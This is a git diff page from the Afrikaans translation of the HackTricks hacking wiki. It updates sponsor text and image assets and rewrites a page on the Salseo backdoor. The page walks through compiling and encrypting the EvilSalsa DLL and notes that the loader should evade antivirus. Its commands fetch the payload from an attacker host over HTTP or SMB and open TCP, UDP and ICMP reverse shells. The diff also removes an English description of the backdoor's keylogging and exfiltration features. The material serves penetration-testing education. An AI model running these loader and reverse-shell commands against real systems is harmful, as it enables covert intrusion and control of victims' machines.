Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After ![]() (image error) Size: 1.6 KiB |
Before ![]() (image error) Size: 1.6 KiB After ![]() (image error) Size: 16 KiB ![]() ![]() |
Before ![]() (image error) Size: 16 KiB After ![]() (image error) Size: 132 KiB ![]() ![]() |
Before ![]() (image error) Size: 132 KiB After ![]() (image error) Size: 20 KiB ![]() ![]() |
Before ![]() (image error) Size: 20 KiB After ![]() (image error) Size: 8.1 KiB ![]() ![]() |
Before ![]() (image error) Size: 8.1 KiB After ![]() (image error) Size: 51 KiB ![]() ![]() |
Before ![]() (image error) Size: 51 KiB After ![]() (image error) Size: 32 KiB ![]() ![]() |
Before ![]() (image error) Size: 32 KiB After ![]() (image error) Size: 39 KiB ![]() ![]() |
Before ![]() (image error) Size: 39 KiB After ![]() (image error) Size: 72 KiB ![]() ![]() |
Before ![]() (image error) Size: 72 KiB After ![]() (image error) Size: 322 KiB ![]() ![]() |
Before ![]() (image error) Size: 322 KiB After ![]() (image error) Size: 36 KiB ![]() ![]() |
Before ![]() (image error) Size: 36 KiB After ![]() (image error) Size: 34 KiB ![]() ![]() |
Before ![]() (image error) Size: 34 KiB After ![]() (image error) Size: 176 KiB ![]() ![]() |
Before ![]() (image error) Size: 176 KiB After ![]() (image error) Size: 152 KiB ![]() ![]() |
Before ![]() (image error) Size: 152 KiB After ![]() (image error) Size: 31 KiB ![]() ![]() |
Before ![]() (image error) Size: 31 KiB After ![]() (image error) Size: 71 KiB ![]() ![]() |
Before ![]() (image error) Size: 71 KiB After ![]() (image error) Size: 65 KiB ![]() ![]() |
Before ![]() (image error) Size: 65 KiB After ![]() (image error) Size: 42 KiB ![]() ![]() |
Before ![]() (image error) Size: 42 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 79 KiB ![]() ![]() |
Before ![]() (image error) Size: 79 KiB After ![]() (image error) Size: 175 KiB ![]() ![]() |
After ![]() (image error) Size: 94 KiB |
Before ![]() (image error) Size: 94 KiB After ![]() (image error) Size: 199 KiB ![]() ![]() |
Before ![]() (image error) Size: 199 KiB After ![]() (image error) Size: 145 KiB ![]() ![]() |
Before ![]() (image error) Size: 145 KiB After ![]() (image error) Size: 1.2 MiB ![]() ![]() |
Before ![]() (image error) Size: 1.2 MiB After ![]() (image error) Size: 100 KiB ![]() ![]() |
Before ![]() (image error) Size: 100 KiB After ![]() (image error) Size: 12 KiB ![]() ![]() |
Before ![]() (image error) Size: 12 KiB After ![]() (image error) Size: 121 KiB ![]() ![]() |
Before ![]() (image error) Size: 121 KiB After ![]() (image error) Size: 7 KiB ![]() ![]() |
Before ![]() (image error) Size: 7 KiB After ![]() (image error) Size: 72 KiB ![]() ![]() |
Before ![]() (image error) Size: 72 KiB After ![]() (image error) Size: 60 KiB ![]() ![]() |
Before ![]() (image error) Size: 60 KiB After ![]() (image error) Size: 223 KiB ![]() ![]() |
Before ![]() (image error) Size: 223 KiB After ![]() (image error) Size: 27 KiB ![]() ![]() |
Before ![]() (image error) Size: 27 KiB After ![]() (image error) Size: 32 KiB ![]() ![]() |
Before ![]() (image error) Size: 32 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 90 KiB ![]() ![]() |
Before ![]() (image error) Size: 90 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 172 KiB ![]() ![]() |
After ![]() (image error) Size: 19 KiB |
Before ![]() (image error) Size: 19 KiB After ![]() (image error) Size: 78 KiB ![]() ![]() |
Before ![]() (image error) Size: 78 KiB After ![]() (image error) Size: 38 KiB ![]() ![]() |
Before ![]() (image error) Size: 38 KiB After ![]() (image error) Size: 795 KiB ![]() ![]() |
Before ![]() (image error) Size: 795 KiB After ![]() (image error) Size: 104 KiB ![]() ![]() |
Before ![]() (image error) Size: 104 KiB After ![]() (image error) Size: 17 KiB ![]() ![]() |
Before ![]() (image error) Size: 17 KiB After ![]() (image error) Size: 68 KiB ![]() ![]() |
Before ![]() (image error) Size: 68 KiB After ![]() (image error) Size: 154 KiB ![]() ![]() |
Before ![]() (image error) Size: 154 KiB After ![]() (image error) Size: 74 KiB ![]() ![]() |
Before ![]() (image error) Size: 74 KiB After ![]() (image error) Size: 14 KiB ![]() ![]() |
Before ![]() (image error) Size: 14 KiB After ![]() (image error) Size: 53 KiB ![]() ![]() |
Before ![]() (image error) Size: 53 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 1 MiB ![]() ![]() |
After ![]() (image error) Size: 60 KiB |
Before ![]() (image error) Size: 60 KiB After ![]() (image error) Size: 13 KiB ![]() ![]() |
Before ![]() (image error) Size: 13 KiB After ![]() (image error) Size: 7.8 KiB ![]() ![]() |
Before ![]() (image error) Size: 7.8 KiB After ![]() (image error) Size: 48 KiB ![]() ![]() |
Before ![]() (image error) Size: 48 KiB After ![]() (image error) Size: 76 KiB ![]() ![]() |
Before ![]() (image error) Size: 76 KiB After ![]() (image error) Size: 36 KiB ![]() ![]() |
Before ![]() (image error) Size: 36 KiB After ![]() (image error) Size: 237 KiB ![]() ![]() |
Before ![]() (image error) Size: 237 KiB After ![]() (image error) Size: 56 KiB ![]() ![]() |
Before ![]() (image error) Size: 56 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 708 KiB ![]() ![]() |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
Normal file
After ![]() (image error) Size: 3.2 MiB |
Before ![]() (image error) Size: 3.2 MiB After ![]() (image error) Size: 82 KiB ![]() ![]() |
Before ![]() (image error) Size: 82 KiB After ![]() (image error) Size: 18 KiB ![]() ![]() |
Before ![]() (image error) Size: 18 KiB After ![]() (image error) Size: 111 KiB ![]() ![]() |
Before ![]() (image error) Size: 111 KiB After ![]() (image error) Size: 246 KiB ![]() ![]() |
Before ![]() (image error) Size: 246 KiB After ![]() (image error) Size: 201 KiB ![]() ![]() |
Before ![]() (image error) Size: 201 KiB After ![]() (image error) Size: 407 KiB ![]() ![]() |
45
README.md
|
@ -5,10 +5,10 @@
|
|||
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Welkom by die wiki waar jy elke haktruk/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus.**
|
||||
**Welkom by die wiki waar jy elke haktruc/tegniek/enigiets sal vind wat ek geleer het van CTF's, werklike toepassings, navorsing en nuus.**
|
||||
{% endhint %}
|
||||
|
||||
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
|
||||
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat jy moet volg wanneer jy een of meer **masjiene pentest:**
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,30 +20,31 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende siberbeveiligingsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle siberbeveiligingsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy waarvan die leuse is **HACK THE UNHACKABLE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
|
||||
|
||||
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** ondersteun ook siberbeveiliging oopbronprojekte soos HackTricks :)
|
||||
**STM Cyber** ondersteun ook sibersekuriteit oopbronprojekte soos HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante siberbeveiliginggebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en siberbeveiligingsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform van Europa.**
|
||||
|
||||
**Foutbeloningswenk**: **teken aan** by **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
|
||||
**Foutbeloningswenk**: **teken aan** vir **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -51,10 +52,10 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
|
||||
|
||||
Kry Vandag Toegang:
|
||||
|
||||
|
@ -64,36 +65,36 @@ Kry Vandag Toegang:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
**Hakinsigte**\
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hak insluit
|
||||
Betrokkenheid by inhoud wat die opwinding en uitdagings van hak weergee
|
||||
|
||||
**Reële Tyd Haknuus**\
|
||||
Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in reële tyd
|
||||
Bly op hoogte van die vinnige hakwêreld deur middel van werklike nuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
|
||||
|
||||
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingstoolkit
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsuitrusting
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -103,9 +104,9 @@ Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke plat
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) is 'n professionele siberbeveiligingsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste siberbeveiligingsdreigings deur **offensiewe-siberbeveiligingsdienste** met 'n **moderne** benadering te bied.
|
||||
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat besighede **oor die hele wêreld beskerm** teen die nuutste sibersekuriteitsdreigings deur **aanvallende-sekuriteitsdienste** met 'n **moderne** benadering te bied.
|
||||
|
||||
WebSec is 'n **alles-in-een siberbeveiligingsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Siber** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Uitbuiting van Sekerheidsexperts en baie meer.
|
||||
WebSec is 'n **alles-in-een sibersekuriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sekuriteits** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitingsontwikkeling, Sekuriteitkundiges Uitbesteding en baie meer.
|
||||
|
||||
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
|
|
|
@ -353,6 +353,7 @@
|
|||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
|
||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||
|
|
|
@ -2,37 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Kompilering van die binnerwerke
|
||||
## Kompilering van die bineêre lêers
|
||||
|
||||
Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode te kompileer.
|
||||
|
||||
Kompileer hierdie projekte vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, kompileer dit vir daardie argitekture).
|
||||
Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy hulle gaan gebruik (As die Windows x64 ondersteun, kompileer hulle vir daardie argitekture).
|
||||
|
||||
Jy kan die argitektuur **kies** binne Visual Studio in die **linker "Build" Tab** in **"Platform Target".**
|
||||
Jy kan die **argitektuur kies** binne Visual Studio in die **linker "Bou" Tab** in **"Platform Teiken".**
|
||||
|
||||
(\*\*As jy hierdie opsies nie kan vind nie, druk op **"Project Tab"** en dan op **"\<Project Name> Properties"**)
|
||||
(\*\*As jy hierdie opsies nie kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe")
|
||||
|
||||
.png>)
|
||||
|
||||
Bou dan beide projekte (Build -> Build Solution) (Binne die logs sal die pad van die uitvoerbare lêer verskyn):
|
||||
Bou dan beide projekte (Bou -> Bou Oplossing) (Binne die logs sal die pad van die uitvoerbare lêer verskyn):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Berei die agterdeur voor
|
||||
## Berei die Agterdeur voor
|
||||
|
||||
Eerstens sal jy die **EvilSalsa.dll** moet enkodeer. Jy kan die Python-skripsie **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer:
|
||||
Eerstens, sal jy die **EvilSalsa.dll** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -40,68 +40,40 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
#### Salseo
|
||||
|
||||
Salseo is a backdoor that allows remote access to a compromised Windows system. It is commonly used by attackers to maintain persistence and control over the compromised system.
|
||||
|
||||
##### Features
|
||||
|
||||
- **Remote Access**: Salseo provides remote access to the compromised system, allowing the attacker to execute commands and interact with the system.
|
||||
- **Persistence**: Salseo is designed to maintain persistence on the compromised system, ensuring that the attacker can regain access even after system reboots.
|
||||
- **Stealth**: Salseo is designed to operate stealthily, avoiding detection by antivirus software and other security measures.
|
||||
- **Command Execution**: Salseo allows the attacker to execute arbitrary commands on the compromised system, giving them full control over the system.
|
||||
- **File Transfer**: Salseo supports file transfer between the attacker's system and the compromised system, allowing the attacker to exfiltrate data or upload additional tools.
|
||||
- **Keylogging**: Salseo can be configured to log keystrokes on the compromised system, allowing the attacker to capture sensitive information such as passwords.
|
||||
- **Screenshot Capture**: Salseo can capture screenshots of the compromised system, providing the attacker with visual information about the system's activities.
|
||||
- **Network Communication**: Salseo communicates with the attacker's system over the network, enabling remote control and data exfiltration.
|
||||
|
||||
##### Detection and Mitigation
|
||||
|
||||
- **Antivirus Software**: Keep your antivirus software up to date to detect and remove known instances of Salseo.
|
||||
- **Network Monitoring**: Monitor network traffic for suspicious activity, such as connections to known malicious IP addresses or unusual data transfers.
|
||||
- **System Hardening**: Implement security best practices, such as disabling unnecessary services, applying patches and updates, and using strong passwords.
|
||||
- **Behavioral Analysis**: Use behavioral analysis tools to detect abnormal system behavior that may indicate the presence of Salseo.
|
||||
- **Firewall**: Configure a firewall to block incoming and outgoing connections to known malicious IP addresses or suspicious domains.
|
||||
- **User Education**: Educate users about the risks of opening suspicious email attachments or clicking on malicious links, as these are common infection vectors for Salseo.
|
||||
|
||||
##### Conclusion
|
||||
|
||||
Salseo is a powerful backdoor that provides attackers with remote access and control over compromised Windows systems. Detecting and mitigating Salseo requires a combination of proactive security measures, such as antivirus software, network monitoring, system hardening, behavioral analysis, firewall configuration, and user education. By implementing these measures, you can significantly reduce the risk of Salseo infection and protect your systems from unauthorized access.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok, nou het jy alles wat jy nodig het om die hele Salseo ding uit te voer: die **gekodeerde EvilDalsa.dll** en die **binêre van SalseoLoader.**
|
||||
Ok, nou het jy alles wat jy nodig het om al die Salseo-ding uit te voer: die **geënkripteerde EvilDalsa.dll** en die **binêre van SalseoLoader.**
|
||||
|
||||
**Laai die SalseoLoader.exe binêre na die masjien op. Dit behoort nie deur enige AV opgespoor te word nie...**
|
||||
|
||||
## **Voer die agterdeur uit**
|
||||
|
||||
### **Kry 'n TCP-omgekeerde skulp (deur die gekodeerde dll af te laai deur HTTP)**
|
||||
### **Kry 'n TCP-omgekeerde dop (laai die geënkripteerde dll af deur HTTP)**
|
||||
|
||||
Onthou om 'n nc as die omgekeerde skulp luisteraar te begin en 'n HTTP-bediener om die gekodeerde evilsalsa te bedien.
|
||||
Onthou om 'n nc as die omgekeerde dopluisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Kry 'n UDP omgekeerde dop (laai gekodeerde dll af deur SMB)**
|
||||
### **Kry 'n UDP-omgekeerde dop (afgelaaide gekodeerde dll deur SMB)**
|
||||
|
||||
Onthou om 'n nc as die omgekeerde dop luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa te dien (impacket-smbserver).
|
||||
Onthou om 'n nc te begin as die omgekeerde dop luisteraar, en 'n SMB-bediener om die gekodeerde evilsalsa te dien (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Kry 'n ICMP omgekeerde dop (geënkripteerde dll reeds binne die slagoffer)**
|
||||
### **Kry 'n ICMP-omgekeerde dop (gekodeerde dll reeds binne die slagoffer)**
|
||||
|
||||
**Hierdie keer het jy 'n spesiale instrument in die kliënt nodig om die omgekeerde dop te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**Hierdie keer het jy 'n spesiale instrument in die klient nodig om die omgekeerde dop te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Deaktiveer ICMP Antwoorde:**
|
||||
#### **Deaktiveer ICMP-antwoorde:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Voer die kliënt uit:
|
||||
#### Voer die klient uit:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
@ -111,23 +83,23 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
```
|
||||
## Kompilering van SalseoLoader as DLL wat die hooffunksie uitvoer
|
||||
|
||||
Maak die SalseoLoader-projek oop met behulp van Visual Studio.
|
||||
Maak die SalseoLoader projek oop met behulp van Visual Studio.
|
||||
|
||||
### Voeg voor die hooffunksie by: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installeer DllExport vir hierdie projek
|
||||
|
||||
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
||||
#### **Gereedskap** --> **NuGet Pakketbestuurder** --> **Bestuur NuGet-pakkette vir Oplossing...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Soek na die DllExport-pakket (deur die Browse-tabblad te gebruik) en druk op Installeer (en aanvaar die popup)**
|
||||
#### **Soek na DllExport-pakket (deur die Blaai-tab te gebruik), en druk op Installeer (en aanvaar die popup)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In jou projeklêer het die lêers verskyn: **DllExport.bat** en **DllExport\_Configure.bat**
|
||||
In jou projekmap het die lêers verskyn: **DllExport.bat** en **DllExport\_Configure.bat**
|
||||
|
||||
### **D**eïnstalleer DllExport
|
||||
|
||||
|
@ -137,31 +109,31 @@ Druk **Deïnstalleer** (ja, dit is vreemd, maar glo my, dit is nodig)
|
|||
|
||||
### **Sluit Visual Studio af en voer DllExport\_configure uit**
|
||||
|
||||
Sluit eenvoudig Visual Studio af
|
||||
Net **sluit** Visual Studio af
|
||||
|
||||
Gaan dan na jou **SalseoLoader-lêer** en **voer DllExport\_Configure.bat uit**
|
||||
Gaan dan na jou **SalseoLoader map** en **voer DllExport\_Configure.bat uit**
|
||||
|
||||
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace for DllExport**) en druk op **Apply**
|
||||
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace vir DllExport**) en druk **Toepas**
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Maak die projek weer oop met Visual Studio**
|
||||
|
||||
**\[DllExport]** behoort nie meer as 'n fout gemerk te wees nie
|
||||
**\[DllExport]** behoort nie meer as fout gemerk te wees nie
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Bou die oplossing
|
||||
|
||||
Kies **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
